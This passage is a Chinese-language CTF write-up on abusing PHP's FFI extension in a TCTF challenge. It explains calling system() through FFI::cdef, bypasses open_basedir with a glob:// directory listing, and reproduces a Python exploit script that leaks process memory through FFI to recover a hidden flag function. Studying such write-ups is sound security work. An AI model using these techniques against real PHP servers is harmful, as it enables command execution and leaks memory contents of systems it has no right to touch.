那么这种利用方式可能出现的场景还不是很多,因此笔者稍微讲解一下。
首先是cdef:
$ffi = FFI::cdef("int system(const char *command);");这一行是创建一个ffi对象,默认就会加载标准库,以本行为例是导入system这个函数,而这个函数理所当然是存在于标准库中,那么我们若要导入库时则可以以如下方式:
$ffi = FFI::cdef("int system(const char *command);","libc.so.6");可以看看其函数原型:
FFI::cdef([string $cdef = "" [, string $lib = null]]): FFI取得了ffi对象后我们就可以直接调用函数了:
$ffi->system("whoami >/tmp/1");之后的代码较为简单就不多讲,那么接下来看看实际应用该从哪里入手。
利用以tctf的题目为例,题目直接把cdef过滤了,并且存在着basedir,但我们可以使用之前说过bypass basedir来列目录,逐一尝试能够发现可以使用glob列根目录目录:
<?php $c = "glob:///*"; $a = new DirectoryIterator($c); foreach($a as $f){ echo($f->__toString().'<br>'); } ?>可以发现根目录存在着flag.h跟so:
因为后面环境没有保存,笔者这里简单复述一下当时题目的情况(仅针对预期解)。
发现了flag.h之后查看ffi相关文档能够发现一个load方法可以加载头文件。
于是有了如下:
$ffi = FFI::load("/flag.h");但当我们想要打印头文件来获取其内存在的函数时会尴尬的发现如下:
我们无法获取到存在的函数结构,因此也就无法使用ffi调用函数,这一步路就断了,并且cdef也被过滤了,无法直接调用system函数,但查看文档能够发现ffi中存在着不少与内存相关的函数,因此存在着内存泄露的可能,这里借用飘零师傅的exp:
import requests url = "http://pwnable.org:19261" params = {"rh": ''' try { $ffi=FFI::load("/flag.h"); //get flag //$a = $ffi->flag_wAt3_uP_apA3H1(); //for($i = 0; $i < 128; $i++){ echo $a[$i]; //} $a = $ffi->new("char[8]", false); $a[0] = 'f'; $a[1] = 'l'; $a[2] = 'a'; $a[3] = 'g'; $a[4] = 'f'; $a[5] = 'l'; $a[6] = 'a'; $a[7] = 'g'; $b = $ffi->new("char[8]", false); $b[0] = 'f'; $b[1] = 'l'; $b[2] = 'a'; $b[3] = 'g'; $newa = $ffi->cast("void*", $a); var_dump($newa); $newb = $ffi->cast("void*", $b); var_dump($newb); $addr_of_a = FFI::new("unsigned long long"); FFI::memcpy($addr_of_a, FFI::addr($newa), 8); var_dump($addr_of_a); $leak = FFI::new(FFI::arrayType($ffi->type('char'), [102400]), false); FFI::memcpy($leak, $newa-0x20000, 102400); $tmp = FFI::string($leak,102400); var_dump($tmp); //var_dump($leak); //$leak[0] = 0xdeadbeef; //$leak[1] = 0x61616161; //var_dump($a); //FFI::memcpy($newa-0x8, $leak, 128*8); //var_dump($a); //var_dump(777); } catch (FFIException $ex) { echo $ex->getMessage(), PHP_EOL; } var_dump(1); ''' } res = requests.get(url=url,params=params) print((res.text).encode("utf-8"))获取到函数名后直接调用函数然后把结果打印出来即可: